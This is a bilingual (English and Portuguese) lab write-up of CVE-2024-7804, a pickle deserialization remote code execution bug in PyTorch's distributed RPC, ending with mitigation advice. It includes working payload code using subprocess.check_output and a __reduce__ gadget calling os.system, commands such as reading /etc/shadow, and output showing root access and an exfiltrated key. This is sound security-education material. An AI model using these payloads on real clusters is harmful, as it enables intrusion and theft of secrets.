CVE-2024-7804: PyTorch distributed RPC pickle RCE — the CVE that got withdrawnCVE-2024-7804: RCE via pickle no RPC distribuído do PyTorch — a CVE que foi retirada
A dockerized lab for the PyTorch torch.distributed.rpc deserialization bug — a malicious peer joins the world, ships a pickle payload, and runs code as root on the victim node. Then the advisory was withdrawn as known functionality.Um lab dockerizado para o bug de desserialização do torch.distributed.rpc — um peer malicioso entra no world, manda um payload pickle e executa código como root no nó vítima. Depois disso, o advisory foi retirado como funcionalidade conhecida.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: the lab in this repository is intentionally vulnerable and runs entirely inside an isolated Docker bridge network. Do not deploy it, and only run the exploit against this lab. Anything else is likely a crime.
Summary
CVE-2024-7804 is a deserialization flaw (CWE-502) in PyTorch's
distributed RPC framework, torch.distributed.rpc, in torch <= 2.3.1. Every
RPC payload arriving at a node is rebuilt with a bare pickle.Unpickler — no
allowlist, no integrity check — so any peer that can join the RPC "world" can
make the receiving node execute arbitrary code.
It was scored CVSS 3.0 9.8 (Critical). And then it was withdrawn.
That last part is what makes this entry worth writing. The technical behaviour is real and this lab demonstrates it end to end — root command execution on the victim plus file exfiltration. But PyTorch's maintainers (and Red Hat) rejected the advisory on 2 April 2025 as known functionality: RPC is a trusted-peer system by design, so "a peer inside your world can run code" is the documented threat model, not a vulnerability.
| Product | PyTorch (torch.distributed.rpc) |
| Affected | torch <= 2.3.1 |
| CVSS 3.0 | 9.8 Critical (as originally scored) |
| CWE | CWE-502 — deserialization of untrusted data |
| Advisory status | Withdrawn / rejected — published 20 Mar 2025, withdrawn 2 Apr 2025 |
Impact
| Precondition | Required? |
|---|---|
| Credentials | No — RPC rendezvous has no authentication |
| User interaction | No |
Network reach to the rendezvous port (29500 by default) | Yes |
| Ability to join the world (knowing the peer name, rank and world size) | Yes |
Where it matters in practice is the gap between the design assumption and the
deployment reality. A distributed-training cluster — parameter servers, trainers,
inference workers — is exactly the kind of thing that ends up on a flat internal
network, or on a cloud VPC someone thought was private. In that setting the
"trusted peer" boundary is whoever can reach TCP 29500, and the payoff is code
execution as the service user: model weights, training data paths, and the
cluster's own API keys.
How the vulnerability works
Every RPC call ships a PythonUDF namedtuple carrying func, args and
kwargs. On the receiving node, _InternalRPCPickler.deserialize() rebuilds it
with an unrestricted unpickler:
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- attacker-controlled pickle
...Unpickling is code execution. There are two distinct ways to reach it, and the PoC implements both:
| Technique | When code runs | What it proves |
|---|---|---|
| UDF (default) | After load(), when the node calls the UDF | Nothing restricts which callable a peer may name — subprocess.check_output is importable, so it is fair game, and its return value comes back to the attacker |
__reduce__ gadget (--reduce) | During load(), before the UDF is ever called | The essence of CWE-502 — the payload fires while the victim is still parsing it |
Proof of concept
The victim (lab/server.py)
is a plain, trusting RPC worker. It brings up a TensorPipe agent, advertises one
benign function, and then sits in rpc.shutdown() — which acts as a barrier,
serving incoming calls until every peer leaves:
MODEL_VERSION = "resnet50-v1.3"
def get_model_version() -> str:
return MODEL_VERSIONThe whole point of the bug is that an attacker is not limited to that.
Technique 1 — the UDF, with the output routed back
The attacker joins as rank 1 and names subprocess.check_output as the function
to run. The victim executes it and RPC dutifully returns stdout — remote code
execution and exfiltration in a single call:
out = rpc.rpc_sync(
args.victim, subprocess.check_output,
args=(["sh", "-c", args.cmd],),
kwargs={"stderr": subprocess.STDOUT},
)Technique 2 — __reduce__, firing at deserialization time
Payload pickles into a call to os.system. The victim runs it the moment it
unpickles the message:
class Payload:
def __init__(self, cmd: str):
self.cmd = cmd
def __call__(self, *args, **kwargs): # never actually invoked
return None
def __reduce__(self):
import os as _os
return (_os.system, (self.cmd,))__call__ exists only so torch's client-side callable(func) check passes
before the object is serialized. Pickle always prefers __reduce__, so it is
__reduce__ that runs on the victim — and the victim's traceback afterwards
lands at python_udf.func(...) in internal.py, which is itself the proof that
the payload had already been reconstructed and executed by the unsafe unpickler.
Run it
Prerequisites: Docker with the Compose plugin. CPU-only, no GPU, works on amd64 and arm64.
1. Start the vulnerable victim — rank 0, waiting for a peer:
docker compose up --build -d victim2. Fire the exploit — the default technique runs a command on the victim and brings its stdout back:
docker compose run --rm attacker[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====Root on the victim, plus a file the node was never meant to hand out.
3. Or prove deserialization-time execution — with --reduce the command runs
on the victim, so the output shows up in its log, not the attacker's:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victimCustom command:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"Tear it down with docker compose down.
Mitigation
Since the advisory was withdrawn, there is no patch to apply — the guidance is architectural, and it is PyTorch's own:
- Only run RPC between mutually trusted nodes on a trusted network. That is the documented threat model; treat it as a hard requirement, not advice.
- Never expose the rendezvous port (
29500by default) to an untrusted network. It is unauthenticated by design. - Treat any pickle-based protocol as remote code execution. Authenticate and encrypt peers (mTLS), and isolate RPC workers so a compromised rank cannot reach the rest of the estate.
References
- GHSA-4vmg-rw8f-92f9 — the withdrawn GitHub advisory
- NVD — CVE-2024-7804
torch/distributed/rpc/internal.py@ v2.3.1 — the vulnerabledeserialize()- Full lab & exploit source
Autorização: o lab deste repositório é propositalmente vulnerável e roda inteiramente dentro de uma rede bridge isolada do Docker. Não faça deploy dele, e rode o exploit apenas contra este lab. Qualquer outra coisa provavelmente é crime.
Resumo
A CVE-2024-7804 é uma falha de desserialização (CWE-502) no framework
de RPC distribuído do PyTorch, o torch.distributed.rpc, em torch <= 2.3.1.
Todo payload de RPC que chega em um nó é reconstruído com um pickle.Unpickler
cru — sem allowlist, sem verificação de integridade — então qualquer peer capaz
de entrar no "world" de RPC pode fazer o nó receptor executar código arbitrário.
Recebeu nota CVSS 3.0 9.8 (Crítica). E então foi retirada.
É essa última parte que faz esta entrada valer a pena. O comportamento técnico é real e este lab o demonstra de ponta a ponta — execução de comandos como root na vítima mais exfiltração de arquivo. Mas os mantenedores do PyTorch (e a Red Hat) rejeitaram o advisory em 2 de abril de 2025 como funcionalidade conhecida: o RPC é, por projeto, um sistema de peers confiáveis, então "um peer dentro do seu world consegue rodar código" é o modelo de ameaça documentado, não uma vulnerabilidade.
| Produto | PyTorch (torch.distributed.rpc) |
| Afetadas | torch <= 2.3.1 |
| CVSS 3.0 | 9.8 Crítica (na pontuação original) |
| CWE | CWE-502 — desserialização de dados não confiáveis |
| Status do advisory | Retirado / rejeitado — publicado em 20 mar 2025, retirado em 2 abr 2025 |
Impacto
| Pré-condição | Necessária? |
|---|---|
| Credenciais | Não — o rendezvous do RPC não tem autenticação |
| Interação do usuário | Não |
Alcance de rede até a porta de rendezvous (29500 por padrão) | Sim |
| Conseguir entrar no world (saber o nome do peer, o rank e o world size) | Sim |
Onde isso importa na prática é na distância entre a premissa de projeto e a
realidade do deploy. Um cluster de treinamento distribuído — parameter servers,
trainers, workers de inferência — é exatamente o tipo de coisa que acaba em uma
rede interna plana, ou em uma VPC de nuvem que alguém achou que fosse privada.
Nesse cenário, a fronteira do "peer confiável" é quem consegue alcançar a TCP
29500, e o prêmio é execução de código como o usuário do serviço: pesos de
modelo, caminhos dos dados de treino e as próprias API keys do cluster.
Como a vulnerabilidade funciona
Toda chamada RPC transporta uma namedtuple PythonUDF carregando func, args
e kwargs. No nó receptor, o _InternalRPCPickler.deserialize() a reconstrói
com um unpickler irrestrito:
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- attacker-controlled pickle
...Desserializar pickle é executar código. Há dois caminhos distintos até lá, e a PoC implementa os dois:
| Técnica | Quando o código roda | O que prova |
|---|---|---|
| UDF (padrão) | Depois do load(), quando o nó chama a UDF | Nada restringe qual callable um peer pode nomear — subprocess.check_output é importável, então vale, e o retorno dele volta para o atacante |
Gadget __reduce__ (--reduce) | Durante o load(), antes de a UDF sequer ser chamada | A essência do CWE-502 — o payload dispara enquanto a vítima ainda está lendo a mensagem |
Prova de conceito
A vítima (lab/server.py)
é um worker de RPC comum e confiante. Ele sobe um agente TensorPipe, anuncia uma
função inofensiva e então fica parado no rpc.shutdown() — que funciona como uma
barreira, atendendo chamadas que chegam até que todos os peers saiam:
MODEL_VERSION = "resnet50-v1.3"
def get_model_version() -> str:
return MODEL_VERSIONA graça toda do bug é que o atacante não fica limitado a isso.
Técnica 1 — a UDF, com a saída roteada de volta
O atacante entra como rank 1 e nomeia subprocess.check_output como a função a
executar. A vítima roda e o RPC obedientemente devolve o stdout — execução remota
de código e exfiltração em uma única chamada:
out = rpc.rpc_sync(
args.victim, subprocess.check_output,
args=(["sh", "-c", args.cmd],),
kwargs={"stderr": subprocess.STDOUT},
)Técnica 2 — __reduce__, disparando no momento da desserialização
O Payload é serializado como uma chamada a os.system. A vítima o executa no
instante em que desserializa a mensagem:
class Payload:
def __init__(self, cmd: str):
self.cmd = cmd
def __call__(self, *args, **kwargs): # never actually invoked
return None
def __reduce__(self):
import os as _os
return (_os.system, (self.cmd,))O __call__ existe apenas para que a checagem callable(func) do torch do
lado do cliente passe antes de o objeto ser serializado. O pickle sempre
prefere o __reduce__, então é o __reduce__ que roda na vítima — e o traceback
que a vítima cospe depois cai no python_udf.func(...) do internal.py, o que é
justamente a prova de que o payload já tinha sido reconstruído e executado pelo
unpickler inseguro.
Rodando o lab
Pré-requisitos: Docker com o plugin Compose. Só CPU, sem GPU, funciona em amd64 e arm64.
1. Suba a vítima vulnerável — rank 0, esperando um peer:
docker compose up --build -d victim2. Dispare o exploit — a técnica padrão roda um comando na vítima e traz o stdout de volta:
docker compose run --rm attacker[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====Root na vítima, mais um arquivo que o nó nunca deveria entregar.
3. Ou prove a execução no momento da desserialização — com --reduce o
comando roda na vítima, então a saída aparece no log dela, não no do atacante:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victimComando customizado:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"Derrube o ambiente com docker compose down.
Mitigação
Como o advisory foi retirado, não há patch a aplicar — a orientação é arquitetural, e é a do próprio PyTorch:
- Só rode RPC entre nós mutuamente confiáveis, em uma rede confiável. Esse é o modelo de ameaça documentado; trate-o como requisito rígido, não como conselho.
- Nunca exponha a porta de rendezvous (
29500por padrão) a uma rede não confiável. Ela é, por projeto, sem autenticação. - Trate qualquer protocolo baseado em pickle como execução remota de código. Autentique e criptografe os peers (mTLS), e isole os workers de RPC para que um rank comprometido não alcance o resto do parque.
Referências
- GHSA-4vmg-rw8f-92f9 — o advisory retirado no GitHub
- NVD — CVE-2024-7804
torch/distributed/rpc/internal.py@ v2.3.1 — odeserialize()vulnerável- Código completo do lab e do exploit